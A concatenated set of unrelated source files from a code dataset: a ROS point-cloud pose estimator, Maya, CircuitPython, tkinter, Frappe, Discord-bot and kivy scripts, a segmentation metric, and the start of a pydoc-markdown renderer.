0.981013, 0.039813729+0.30],\n [0, 0, 0, 1]])\n #print(np.linalg.inv(eMc))\n return np.linalg.inv(eMc)\n elif(self.object_to_detect == \"flexplate\"):\n eMc = np.array([[-0.981424, 0.007692, 0.191696, -0.1749721],\n [-0.002088, -0.999565, 0.029420, 0.104115039],\n [0.191839, 0.028473, 0.981013, 0.039813729+0.30],\n [0, 0, 0, 1]])\n return eMc\n else: #spacer\n eMc = np.array([[-0.981424, 0.007692, 0.191696, -0.1749721],\n [-0.002088, -0.999565, 0.029420, 0.104115039],\n [0.191839, 0.028473, 0.981013, 0.039813729+0.25],\n [0, 0, 0, 1]])\n return eMc \n #eMc = np.array([[0.01999945272, -0.9990596861, 0.03846772089, 0.05834485203],\n # [0.9997803621, 0.01974315714, -0.007031030191, -0.03476564525],\n # [0.006264944557, 0.03859988867, 0.999235107, -0.06760482074],\n # [0, 0, 0, 1]])\n #return eMc\n\n def get_wMe(self):\n\n if(self.object_to_detect == \"rail\"):\n wMe = np.array([[0.6741, 0.7183, -0.1719, -0.0186],\n [-0.7128, -0.6937, 0.1033, -0.4259],\n [-0.1935, 0.0529, -0.9797, -0.1838],\n [0, 0, 0, 1]])\n #wMe = np.array([[0.6741, -0.7128, -0.1935, -0.0186],\n # [-0.7183, -0.6937, 0.0529, -0.4259],\n # [-0.1719, 0.1033, -0.9797, -0.1838],\n # [0, 0, 0, 1]])\n return wMe\n elif(self.object_to_detect == \"flexplate\"):\n wMe = np.array([[-0.000830282, 0.999947, 0.00930422, -0.0155212],\n [0.99961, 0.00108627, -0.0275425, 0.38384],\n [-0.0275512, 0.00927772, -0.999577,\t0.438877],\n [0, 0, 0, 1]])\n return wMe\n else: #spacer\n wMe = np.array([[-0.000830282, 0.999947, 0.00930422, -0.0155212],\n [0.99961, 0.00108627, -0.0275425, 0.38384],\n [-0.0275512, 0.00927772, -0.999577,\t0.438877],\n [0, 0, 0, 1]])\n return wMe\n\n\n def my_callback(self, sensor_pc, detection, sensor_depth):\n print(\"--------------------\")\n print(sensor_pc.header.stamp)\n print(sensor_depth.header.stamp)\n #print(detection.header.stamp)\n self.convert_depth(sensor_depth) #converto il messaggio depth per avere i dati in self.depth_array\n self.ros_to_open3d(sensor_pc) #converto il messaggio pointCloud per avere i dati in self.pcd_data\n #self.ros_to_pcl(sensor_pc) #converto il messaggio pointCloud per avere i dati in self.pcd_data\n\n #print(\"DRAW ORIGINAL POINTCLOUD\")\n #o3d.visualization.draw_geometries([self.pcd_data], window_name=\"pcd_data\")\n\n # Prendo la bb dell'oggetto intero (sta nel topic target, va lasciato perche' con l'array non funziona la sincronizzazione)\n #print(detection)\n\n # Taglio la point cloud\n #trovo il centro della bb del target\n center = self.find_center(detection) #centro in pixel\n print(\"Centro in pixel\")\n print(center)\n #trasformo il centro in pixel nelle coordinate x,y,z terna camera\n center_dep = self.deproject_pixel_to_point([int(center[1]), int(center[0])])\n print(\"centro in m - terna camera\")\n print(center_dep)\n\n if(self.object_to_detect == \"oil_separator_crankcase_plastic\"):\n #calcolo gli estremi per estrarre il cubetto di pointcloud\n min_bound = [center_dep[0]-(0.08), center_dep[1]-(0.08), 0.05] \n max_bound = [center_dep[0]+(0.06), center_dep[1]+(0.06), 1.78]\n\n points_list_filtered = []\n for i in range(len(self.pcd_data.points)):\n p = self.pcd_data.points[i]\n #print(p)\n #if (min_bound[0] <= p[0] and p[0] <= max_bound[0]) and (min_bound[1] <= p[1] and p[1] <= max_bound[1]) and (minimo/1000 <= p[2] and p[2] <= (minimo/1000+0.02)):\n if (min_bound[0] <= p[0] and p[0] <= max_bound[0]) and (min_bound[1] <= p[1] and p[1] <= max_bound[1]) and (min_bound[2] <= p[2] and p[2] <= max_bound[2]):\n #print(p)\n points_list_filtered.append(p)\n\n self.pcd_single_object.clear()\n self.pcd_single_object.points = o3d.utility.Vector3dVector(points_list_filtered)\n\n #trans_init = np.asarray([[1.0, 0.0, 0.0, 0.0], \n # [0.0, -1.0, 0.0, 0.0],\n # [0.0, 0.0, -1.0, 0.0], \n # [0.0, 0.0, 0.0, 1.0]])\n #self.pcd_single_object.transform(trans_init)\n\n #o3d.visualization.draw_geometries([self.pcd_single_object], window_name=\"pcd filtrata\")\n\n # Salvo la point cloud\n print(np.asarray(self.pcd_single_object.points).size)\n o3d.io.write_point_cloud('/home/user/catkin_ws/src/detect_mechanical_parts/data/cloud_obj.pcd', self.pcd_single_object, write_ascii=True)\n #o3d.io.write_point_cloud('/home/user/catkin_ws/src/detect_mechanical_parts/data/cloud_obj.ply', self.pcd_single_object, write_ascii=True)\n\n #global_registration\n print(\"Start comparison\")\n T_camera = start_comparison()\n #T_camera_z = trans_init.dot(T_camera)\n T_to_rob = self.get_wMe().dot(self.get_eMc().dot(T_camera))\n print(\"Posa in terna robot - cop olio\")\n print(T_to_rob[0,3], T_to_rob[1,3], T_to_rob[2,3])\n print(\"Rd\")\n print(T_to_rob[0,0], T_to_rob[0,1], T_to_rob[0,2])\n print(T_to_rob[1,0], T_to_rob[1,1], T_to_rob[1,2])\n print(T_to_rob[2,0], T_to_rob[2,1], T_to_rob[2,2])\n quaternion = Utils.r2quat(T_to_rob[:3,:3])\n\n pose_msg = Pose()\n pose_msg.position.x = T_to_rob[0,3]\n pose_msg.position.y = T_to_rob[1,3]\n pose_msg.position.z = T_to_rob[2,3]\n pose_msg.orientation.w = quaternion[0]\n pose_msg.orientation.x = quaternion[1]\n pose_msg.orientation.y = quaternion[2]\n pose_msg.orientation.z = quaternion[3]\n\n self.pose_publisher.publish(pose_msg)\n \n elif (self.object_to_detect == \"flexplate\"):\n center_flex = np.array([0.0,0.0,0.0,1.0])\n center_flex[0] = center_dep[0] + 0.03 #terna camera\n center_flex[1] = center_dep[1] \n center_flex[2] = center_dep[2] \n \n ## CONVERSIONI CON MATRICI DI CALIBRAZIONE\n T_to_rob = self.get_wMe().dot(self.get_eMc().dot(center_flex))\n print(\"Posa in terna robot - flex\")\n print(T_to_rob[0,3], T_to_rob[1,3], T_to_rob[2,3])\n print(\"Rd\")\n print(T_to_rob[0,0], T_to_rob[0,1], T_to_rob[0,2])\n print(T_to_rob[1,0], T_to_rob[1,1], T_to_rob[1,2])\n print(T_to_rob[2,0], T_to_rob[2,1], T_to_rob[2,2])\n quaternion = Utils.r2quat(T_to_rob[:3,:3])\n quaternion = Utils.r2quat(T_to_rob[:3,:3])\n\n pose_msg = Pose()\n pose_msg.position.x = T_to_rob[0,3]\n pose_msg.position.y = T_to_rob[1,3]\n pose_msg.position.z = T_to_rob[2,3]\n pose_msg.orientation.w = quaternion[0]\n pose_msg.orientation.x = quaternion[1]\n pose_msg.orientation.y = quaternion[2]\n pose_msg.orientation.z = quaternion[3]\n\n self.pose_publisher.publish(pose_msg)\n \n elif (self.object_to_detect == \"rail\"):\n center_rail = np.array([0.0,0.0,0.0,1.0])\n center_rail[0] = center_dep[0] #terna camera\n center_rail[1] = center_dep[1] \n center_rail[2] = center_dep[2] \n \n ## CONVERSIONI CON MATRICI DI CALIBRAZIONE\n print(\"Posa in terna end effector - rail\")\n print(self.get_eMc().dot(center_rail.reshape(4,1)))\n T_to_rob = self.get_wMe().dot(self.get_eMc().dot(center_rail.reshape(4,1)))\n print(\"Posa in terna robot - rail\")\n print(T_to_rob[0], T_to_rob[1], T_to_rob[2])\n #quaternion = Utils.r2quat(T_to_rob[:3,:3])\n\n pose_msg = Pose()\n pose_msg.position.x = T_to_rob[0]\n pose_msg.position.y = T_to_rob[1]\n pose_msg.position.z = T_to_rob[2]\n pose_msg.orientation.w = 1\n pose_msg.orientation.x = 0\n pose_msg.orientation.y = 0\n pose_msg.orientation.z = 0\n\n self.pose_publisher.publish(pose_msg)\n \n elif (self.object_to_detect == \"spacer\"):\n ## Per il rail va bene gia' il punto centrale\n ## CONVERSIONI CON MATRICI DI CALIBRAZIONE\n center_flex = np.array([0.0,0.0,0.0,1.0])\n center_flex[0] = center_dep[0] #terna camera\n center_flex[1] = center_dep[1] \n center_flex[2] = center_dep[2]\n\n ## CONVERSIONI CON MATRICI DI CALIBRAZIONE\n T_to_rob = self.get_wMe().dot(self.get_eMc().dot(center_flex))\n print(\"Posa in terna robot - spacer\")\n print(T_to_rob[0,3], T_to_rob[1,3], T_to_rob[2,3])\n print(\"Rd\")\n print(T_to_rob[0,0], T_to_rob[0,1], T_to_rob[0,2])\n print(T_to_rob[1,0], T_to_rob[1,1], T_to_rob[1,2])\n print(T_to_rob[2,0], T_to_rob[2,1], T_to_rob[2,2])\n quaternion = Utils.r2quat(T_to_rob[:3,:3])\n quaternion = Utils.r2quat(T_to_rob[:3,:3])\n\n pose_msg = Pose()\n pose_msg.position.x = T_to_rob[0,3]\n pose_msg.position.y = T_to_rob[1,3]\n pose_msg.position.z = T_to_rob[2,3]\n pose_msg.orientation.w = quaternion[0]\n pose_msg.orientation.x = quaternion[1]\n pose_msg.orientation.y = quaternion[2]\n pose_msg.orientation.z = quaternion[3]\n \n\n\ndef main(args):\n\n estimator_node_pc = EstimatorNodePC()\n\n try:\n rospy.spin()\n except KeyboardInterrupt:\n rospy.logerr('Shutting down')\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"sileom/detect_mechanical_parts","sub_path":"src/a_pose_estimator_node.py","file_name":"a_pose_estimator_node.py","file_ext":"py","file_size_in_byte":14855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33928707368","text":"from maya import cmds\r\nfrom maya import OpenMayaAnim as oma\r\nfrom maya import OpenMaya as om\r\nfrom ngSkinTools.utils import Utils, MessageException\r\n\r\nclass SkinClusterFn(object):\r\n \r\n def __init__(self):\r\n self.fn = None\r\n self.skinCluster = None\r\n \r\n def setSkinCluster(self,skinClusterName):\r\n self.skinCluster = skinClusterName\r\n self.fn = oma.MFnSkinCluster(Utils.getMObjectForNode(skinClusterName))\r\n return self\r\n \r\n def getLogicalInfluenceIndex(self,influenceName):\r\n try:\r\n path = Utils.getDagPathForNode(influenceName)\r\n except:\r\n raise MessageException(\"Could not find influence '%s' in %s\" % (influenceName, self.skinCluster))\r\n \r\n return self.fn.indexForInfluenceObject(path)\r\n \r\n \r\n def listInfluences(self):\r\n dagPaths = om.MDagPathArray()\r\n \r\n self.fn.influenceObjects(dagPaths)\r\n result = []\r\n for i in range(dagPaths.length()):\r\n result.append(dagPaths[i].fullPathName())\r\n \r\n return result\r\n \r\n ","repo_name":"BigMacchia/ngSkinTools","sub_path":"ngSkinTools/python/ngSkinTools/skinClusterFn.py","file_name":"skinClusterFn.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"38"} +{"seq_id":"643801283","text":"import gc\n\nprint(gc.mem_free())\nimport board\nfrom digitalio import DigitalInOut, Pull, Direction\n\nfrom neopixel import NeoPixel\nfrom time import monotonic, sleep\n\nprint(f\"post imports {gc.mem_free()}\")\n\n\n# from audioio import AudioOut\n# from audiocore import WaveFile\n\nprev = gc.mem_free()\nprint(f\"post audio {gc.mem_free()}\")\n# from adafruit_led_animation.animation.blink import Blink\n\n# print(f\"Blink = {prev - gc.mem_free()}\") # 6320\nprev = gc.mem_free()\nfrom adafruit_led_animation.animation.chase import Chase\n\nprint(f\"Chase = {prev - gc.mem_free()}\")\n# prev = gc.mem_free()\n# from adafruit_led_animation.animation.sparkle import Sparkle\n\n# print(f\"Sparkle = {prev - gc.mem_free()}\")\nprev = gc.mem_free()\nfrom adafruit_led_animation.animation.comet import Comet\n\nprint(f\"Comet = {prev - gc.mem_free()}\")\nprev = gc.mem_free()\n\n# from adafruit_led_animation.animation.pulse import Pulse\n# print(f\"Pulse = {prev - gc.mem_free()}\")\n# prev = gc.mem_free()\n\n\nfrom adafruit_led_animation.color import (\n # RED,\n # YELLOW,\n ORANGE,\n # GREEN,\n # TEAL,\n CYAN,\n # BLUE,\n PURPLE,\n # MAGENTA,\n # WHITE,\n # BLACK,\n # GOLD,\n # PINK,\n AQUA,\n JADE,\n AMBER,\n # OLD_LACE,\n)\n\nGS_SKY_BLUE = (160, 255, 255)\nGS_GOLD = (255, 200, 66)\nGS_LBLUE = (86, 192, 255)\nGS_LBLUE_LOW = (2, 20, 20)\nhead = None\nbody = None\nmode = 0 # startup\n# mode = 1 # awake\n# mode = 2 # armed\nprint(f\"Colors = {prev - gc.mem_free()}\")\nprint(f\"more imports {gc.mem_free()}\")\n\n\n# Setup hardware\n\n# speaker = DigitalInOut(board.SPEAKER_ENABLE)\n# speaker.direction = Direction.OUTPUT\n# speaker.value = True\n# audio = AudioOut(board.SPEAKER)\n# print(f\"audio setup {gc.mem_free()}\")\n\n\nbutton_A = DigitalInOut(board.BUTTON_A)\nbutton_A.switch_to_input(pull=Pull.DOWN)\n\nbutton_B = DigitalInOut(board.BUTTON_B)\nbutton_B.switch_to_input(pull=Pull.DOWN)\n\npixel_strip = NeoPixel(board.A1, 30, brightness=0.2, auto_write=False)\ncp_pixels = NeoPixel(board.NEOPIXEL, 10, brightness=0.08, auto_write=False)\n\nprint(f\"config {gc.mem_free()}\")\n\n# def play_sound(filename, wait=True):\n# with open(filename, \"rb\") as wave_file:\n# wave = WaveFile(wave_file)\n# audio.play(wave)\n# if wait:\n# while audio.playing:\n# pass\n\n\ndef animate(pixels: list, seconds: int):\n print(f\"animate start {gc.mem_free()}\")\n start = monotonic()\n now = monotonic()\n print(\n f\"animate while loop {gc.mem_free()} for {type(pixels[0]).__name__} and {type(pixels[1]).__name__}\"\n )\n while now < start + seconds:\n for pixel in pixels:\n pixel.animate()\n now = monotonic()\n print(f\"animate done {gc.mem_free()}\")\n\n\ndef monitor():\n global mode\n print(\"Monitor\")\n body = Comet(pixel_strip, speed=0.1, color=GS_LBLUE, tail_length=5, bounce=False)\n head = Comet(cp_pixels, speed=0.5, color=GS_GOLD, tail_length=3, bounce=False)\n animate([body, head], 10)\n pixel_strip.fill((0, 0, 20))\n cp_pixels.fill((0, 0, 20))\n pixel_strip.show()\n cp_pixels.show()\n mode = 1\n print(\"Monitor ON\")\n\n\ndef arm():\n global mode\n print(\"Arm\")\n body = Chase(pixel_strip, speed=0.8, size=3, spacing=6, color=AMBER)\n head = Chase(cp_pixels, speed=0.8, size=2, spacing=6, color=JADE)\n print(f\"Arm -- pre animate {gc.mem_free()}\")\n animate([body, head], 15)\n mode = 2\n print(\"Armed\")\n\n\n# Setup sound detection\nimport array\nimport math\nimport audiobusio\n\n\ndef normalized_rms(values):\n minbuf = int(sum(values) / len(values))\n return math.sqrt(\n sum(float(sample - minbuf) * (sample - minbuf) for sample in values)\n / len(values)\n )\n\n\nmic = audiobusio.PDMIn(\n board.MICROPHONE_CLOCK, board.MICROPHONE_DATA, sample_rate=16000, bit_depth=16\n)\n\nsamples = array.array(\"H\", [0] * 160)\nmic.record(samples, len(samples))\ninput_floor = normalized_rms(samples) + 10\n\n# Lower number means more sensitive - more LEDs will light up with less sound.\nsensitivity = 500\ninput_ceiling = input_floor + sensitivity\n\n\ngc.collect()\nprint(f\"post startup {gc.mem_free()}\")\nwhile True:\n if button_A.value or mode == 2:\n arm()\n gc.collect()\n print(gc.mem_free())\n print(\"Transitioning to Monitor Mode.\")\n monitor()\n gc.collect()\n print(gc.mem_free())\n if mode == 0:\n monitor()\n gc.collect()\n print(gc.mem_free())\n if mode == 1:\n # Pulse\n for i in range(255, 0, -5):\n pixel_strip.fill((0, 0, i))\n cp_pixels.fill((0, 0, i))\n pixel_strip.show()\n cp_pixels.show()\n for i in range(0, 255, 5):\n pixel_strip.fill((0, 0, i))\n cp_pixels.fill((0, 0, i))\n pixel_strip.show()\n cp_pixels.show()\n mic.record(samples, len(samples))\n magnitude = normalized_rms(samples)\n # print(f\"Magnitude: {magnitude}\")\n if magnitude > 100:\n print(f\"ARMING due to SOUND!!! --- {magnitude}\")\n arm()\n sleep(0.2)\n","repo_name":"chickenbit/guardian-scout","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26487858019","text":"import tkinter as tk\n\nclass employeeform(tk.Tk):\n def __init__(self):\n super().__init__()\n\n self.title(\"Employee Form\")\n self.geometry(\"300x200\")\n\n self.label_name = tk.Label(self, text=\"Enter Name: \", width=20, anchor=\"e\")\n self.label_name.grid(row=0, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_name = tk.Entry(self)\n self.entry_name.grid(row=0, column=1)\n\n self.label_age = tk.Label(self, text=\"Enter Age: \")\n self.label_age.grid(row=1, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_age = tk.Entry(self)\n self.entry_age.grid(row=1, column=1)\n\n self.label_address = tk.Label(self, text=\"Enter Address: \")\n self.label_address.grid(row=2, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_address = tk.Entry(self)\n self.entry_address.grid(row=2, column=1)\n \n self.label_city = tk.Label(self, text=\"Enter City: \")\n self.label_city.grid(row=3, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_city = tk.Entry(self)\n self.entry_city.grid(row=3, column=1)\n\n self.label_state = tk.Label(self, text=\"Enter State: \")\n self.label_state.grid(row=4, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_state = tk.Entry(self)\n self.entry_state.grid(row=4, column=1)\n\n self.label_zip = tk.Label(self, text=\"Enter Zip Code: \")\n self.label_zip.grid(row=5, column=0, padx= 0, pady=3, sticky=\"e\")\n self.entry_zip = tk.Entry(self)\n self.entry_zip.grid(row=5, column=1)\n\n self.btnSubmit = tk.Button(self, text=\"submit\", command=self.submit)\n self.btnSubmit.grid(row=8, column=0, padx=0, pady=10, columnspan=2)\n\n def submit(self):\n name = self.entry_name.get()\n age = self.entry_age.get()\n address = self.entry_address.get()\n city = self.entry_address.get()\n state = self.entry_address.get()\n zip = self.entry_address.get()\n \n self.display_employee_info (name, age, address, city, state, zip)\n\n def display_employee_info(self, name, age, address, city, state, zip):\n\n #print(f\"{self.name} and {self.age}\")\n info_window = tk.Toplevel(self)\n info_window.title(\"Employee Information\")\n info_window.geometry(\"300x300\")\n label_info = tk.Label(info_window)\n label_info.pack(pady=10)\n\n label_name = tk.Label(info_window, text=f\"Name: {name}\")\n label_name.pack()\n label_age = tk.Label(info_window, text=f\"Age: {age}\")\n label_age.pack()\n label_address = tk.Label(info_window, text=f\"Name: {address}\")\n label_address.pack()\n label_city = tk.Label(info_window, text=f\"Age: {city}\")\n label_city.pack()\n label_state = tk.Label(info_window, text=f\"Name: {state}\")\n label_state.pack()\n label_zip = tk.Label(info_window, text=f\"Age: {zip}\")\n label_zip.pack()\n\nclass managerform(employeeform):\n def __init__(self):\n super().__init__()\n\n self.title(\"Manager Form\")\n self.label_dept = tk.Label(self, text=\"Department: \")\n self.label_dept.grid(row=6, column=0, padx= 0, pady=3, sticky=\"e\")\n\n self.entry_dept = tk.Entry(self)\n self.entry_dept.grid(row=6, column=1)\n\n self.geometry(\"400x400\")\n \n def submit(self):\n name = self.entry_name.get()\n age = self.entry_age.get()\n address = self.entry_address.get()\n city = self.entry_city.get()\n state = self.entry_state.get()\n zip = self.entry_zip.get()\n dept = self.entry_dept.get()\n\n self.display_employee_info(name, age, address, city, state, zip, dept)\n\n self.entry_name.delete(0, tk.END)\n self.entry_age.delete(0, tk.END)\n self.entry_address.delete(0, tk.END)\n self.entry_city.delete(0, tk.END)\n self.entry_state.delete(0, tk.END)\n self.entry_zip.delete(0, tk.END)\n self.entry_dept.delete(0, tk.END)\n self.entry_name.focus_set()\n \n def exit(self):\n self.withdraw() \n self.deiconify()\n #self.info_window.destroy()\n #tk.Toplevel.destroy()\n\n \n def display_employee_info(self, name, age, address, city, state, zip, dept):\n\n info_window = tk.Toplevel(self)\n info_window.title(\"ManagerInformation\")\n info_window.geometry(\"300x200\")\n\n label_name = tk.Label(info_window, text=f\"Name: {name}\", anchor=\"w\")\n label_name.pack()\n label_age = tk.Label(info_window, text=f\"Age: {age}\", anchor=\"w\")\n label_age.pack()\n label_address = tk.Label(info_window, text=f\"Address: {address}\", anchor=\"w\")\n label_address.pack()\n label_city = tk.Label(info_window, text=f\"City: {city}\", anchor=\"w\")\n label_city.pack()\n label_state = tk.Label(info_window, text=f\"State: {state}\", anchor=\"w\")\n label_state.pack()\n label_zip = tk.Label(info_window, text=f\"Zip Code: {zip}\", anchor=\"w\")\n label_zip.pack()\n label_dept = tk.Label(info_window, text=f\"Department: {dept}\", anchor=\"w\")\n label_dept.pack()\n\n #self.btnExit = tk.Button(info_window, text=\"exit\", command=lambda: [self.deiconify(), info_window.destroy()])\n self.btnExit = tk.Button(info_window, text=\"exit\", command=exit)\n self.btnExit.pack()\n \nif __name__ == \"__main__\":\n app = managerform()\n app.mainloop()\n\n","repo_name":"jqle69/training","sub_path":"CMPR114/m6/class1.py","file_name":"class1.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21203530554","text":"'''\nCreated on Nov 6, 2017\n\n@author: MT\n'''\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, val, nextNode=None):\n self.val = val\n self.next = nextNode\n\nclass Solution(object):\n def removeNthFromEnd(self, head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n fast = head\n for _ in range(n):\n fast = fast.next\n dummy = ListNode(-1)\n dummy.next = head\n prev = dummy\n node = head\n while fast:\n prev = node\n node = node.next\n fast = fast.next\n prev.next = node.next\n return dummy.next\n","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/leetcode/LeetcodePythonProject/leetcode_0001_0050/LeetCode019_RemoveNthNodeFromEndOfList.py","file_name":"LeetCode019_RemoveNthNodeFromEndOfList.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"36539933312","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\n\nclass DirectSale(Document):\n\tdef validate(self):\n\t\tfor d in self.get('item_details'):\n\t\t\tquery=frappe.db.sql(\"\"\"select quantity from `tabStock` where warehouse=%s and brand=%s and item=%s\"\"\",(self.warehouse,d.brand,d.item))\n\t\t\tif query:\n\t\t\t\tc=int(query[0][0])\n\t\t\t\td=int(d.quantity)\n\t\t\t\tif d <= c:\n\t\t\t\t\tpass\n\t\t\t\telse:\t\n\t\t\t\t\tfrappe.throw(\"Quantity available in warehouse is less than SalesOrder\")\n\t\t\telse:\n\t\t\t\tfrappe.throw(\"Material Not available in warehouse\")\n\tdef on_submit(self):\n\t\tfor d in self.get('item_details'):\n\t\t\tquery1=frappe.db.sql(\"\"\"update `tabStock` set quantity=quantity-%s where warehouse=%s and brand=%s and item=%s\"\"\",(d.quantity,self.warehouse,d.brand,d.item));\n@frappe.whitelist()\ndef get_item_info(item):\n\tquery=frappe.db.sql(\"\"\"select item_name from `tabAdd Item` where name=%s\"\"\",item)\n\treturn query[0][0]\t\n@frappe.whitelist()\ndef get_invoice_no():\n\tq=frappe.db.sql(\"\"\"select max(cast(invoice_no as int)) from `tabDirect Sale`\"\"\")\n\tif q[0][0]:\n\t\tino=int(q[0][0])+1\n\telse:\n\t\tino=1\n\treturn ino\t\n\t\t\n","repo_name":"reddymeghraj/selling1","sub_path":"selling1/selling1/doctype/direct_sale/direct_sale.py","file_name":"direct_sale.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35448247920","text":"import discord\nfrom discord.ext import commands\nimport random\nimport aiohttp\nimport json\nimport time\n\n#\n# example Cog \n#\n# Make sure to change class name in line 13 & 36\n# \n\nclass info(commands.Cog):\n \n\n def __init__(self, bot):\n self.bot = bot\n\n \n # List Servers\n @commands.slash_command(name='help', description=\"lists commands\")\n async def help(self,ctx):\n embed=discord.Embed(title=\"Help\", description=\"Bot Commands\", color=discord.Colour.dark_blue())\n embed.add_field(name=\"**Crypto**\", value=\"----------\\n`/eth` - Get eth price\\n`/btc` - get btc price\\n`/nano` - Get the nano price\\n\", inline=False)\n embed.add_field(name=\"**Fun**\", value=\"----------\\n`/8ball` - 8ball answers all!\\n`/repeat` - repeat your input\\n`/bored` - Suggest something to do\\n`/joke` - A random joke\\n`toke` - Its time to toke\\n`gif`- Random toking gif\", inline=False)\n embed.add_field(name=\"**xkcd**\", value=\"----------\\n`/xkcd` - Get the newest xkcd\\n`/randomxkcd` - Get a random xkcd\", inline=False)\n await ctx.respond(embed=embed)\n\n message_str = f\"{time.strftime('%m/%d/%y %I:%M%p')} - User:{ctx.author} - Server:{ctx.guild} - Command: /{ctx.command} \"\n logging.info(message_str)\n print(message_str)\n\n \n\n# The setup fucntion below is neccesarry. Remember we give bot.add_cog() the name of the class in this case SimpleCog.\n# When we load the cog, we use the name of the file.\n\ndef setup(bot):\n bot.add_cog(info(bot))","repo_name":"codanaut/bobthebutler","sub_path":"Discord/cogs/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72373282351","text":"from scene_manager import *\nfrom scenes import *\nfrom core import *\nfrom kivy.clock import Clock as kivyClock\n\nclass MainWidget(BaseWidget):\n def __init__(self):\n super(MainWidget, self).__init__()\n self.active_keys = {'w': False,\n 's': False,\n 'a': False,\n 'd': False,\n 'left': False,\n 'right': False,\n 'up': False,\n 'down': False,\n 'spacebar': False,\n 'enter': False,\n '1': False,\n '2': False,\n '3': False,\n '4': False,\n '5': False,\n '6': False,\n '7': False} # only contains supported keys\n\n self.scene_manager = SceneManager(scenes)\n self.canvas.add(self.scene_manager)\n\n # handling multiple keypresses\n self.time = 0\n self.timing_window = 0.015\n self.current_keypresses = []\n\n def on_update(self):\n dt = kivyClock.frametime\n self.time += dt\n self.scene_manager.on_update(dt, self.active_keys)\n\n if self.current_keypresses:\n if self.time > self.current_keypresses[-1][1] + self.timing_window or len(self.current_keypresses) == 3:\n self.scene_manager.on_multi_key_down([key[0] for key in self.current_keypresses])\n self.current_keypresses = []\n\n\n def on_key_down(self, keycode, modifiers):\n key = keycode[1]\n self.scene_manager.on_key_down(key)\n if key in self.active_keys:\n self.active_keys[key] = True\n self.current_keypresses.append((keycode[1], self.time))\n \n\n def on_key_up(self, keycode):\n key = keycode[1]\n self.scene_manager.on_key_up(key)\n if key in self.active_keys:\n self.active_keys[key] = False\n\nrun(MainWidget)\n","repo_name":"magj3k/BeatGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37853196695","text":"# Originally written by wkentaro\n# https://github.com/wkentaro/pytorch-fcn/blob/master/torchfcn/utils.py\n\nimport torch\nimport numpy as np\n\n\ndef _fast_hist(label_true, label_pred, n_class):\n mask = (label_true >= 0) & (label_true < n_class)\n hist = np.bincount(\n n_class * label_true[mask].type(torch.int) + label_pred[mask].type(torch.int),\n minlength=n_class**2,\n ).reshape(n_class, n_class)\n return hist\n\n\ndef scores(label_trues, label_preds, n_class):\n hist = np.zeros((n_class, n_class))\n for lt, lp in zip(label_trues, label_preds):\n hist += _fast_hist(lt.flatten(), lp.flatten(), n_class)\n acc = np.diag(hist).sum() / hist.sum()\n acc_cls = np.diag(hist) / hist.sum(axis=1)\n acc_cls = np.nanmean(acc_cls)\n iu = np.diag(hist) / (hist.sum(axis=1) + hist.sum(axis=0) - np.diag(hist))\n mean_iu = np.nanmean(iu)\n freq = hist.sum(axis=1) / hist.sum()\n fwavacc = (freq[freq > 0] * iu[freq > 0]).sum()\n cls_iu = dict(zip(range(n_class), iu))\n\n return (\n {\n \"overall acc\": acc,\n \"mean acc\": acc_cls,\n \"freqw acc\": fwavacc,\n \"mean iou\": mean_iu,\n },\n cls_iu,\n )\n\n\ndef eval_metric(label_trues, label_preds, n_class):\n label_preds = torch.max(label_preds, 1)[1]\n\n if len(label_trues.shape) > 2:\n acc, miou = [], []\n for i in range(label_trues.shape[0]):\n score = scores(label_trues[i].cpu(), label_preds[i].cpu(), n_class)[0]\n miou.append(score[\"mean iou\"])\n acc.append(score[\"overall acc\"])\n return np.mean(miou), np.mean(acc)\n else:\n score = scores(label_trues.cpu(), label_preds.cpu(), n_class)[0]\n return score[\"mean iou\"], score[\"overall acc\"]\n","repo_name":"esgario/lara2018","sub_path":"segmentation/utils/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"38"} +{"seq_id":"8245819384","text":"from __future__ import annotations\n\nimport dataclasses\nimport io\nimport sys\nimport typing as t\nfrom pathlib import Path\n\nimport docspec\nfrom docspec_python import format_arglist\nfrom yapf.yapflib.yapf_api import FormatCode # type: ignore[import]\n\nfrom pydoc_markdown.interfaces import (\n Context,\n Renderer,\n Resolver,\n ResolverV2,\n SingleObjectRenderer,\n SinglePageRenderer,\n SourceLinker,\n)\nfrom pydoc_markdown.util.docspec import ApiSuite, format_function_signature, is_method\nfrom pydoc_markdown.util.misc import escape_except_blockquotes\n\n\ndef dotted_name(obj: docspec.ApiObject) -> str:\n return \".\".join(x.name for x in obj.path)\n\n\n@dataclasses.dataclass\nclass MarkdownRenderer(Renderer, SinglePageRenderer, SingleObjectRenderer):\n \"\"\"\n Produces Markdown files. This renderer is often used by other renderers, such as\n #MkdocsRenderer and #HugoRenderer. It provides a wide variety of options to customize\n the generated Markdown 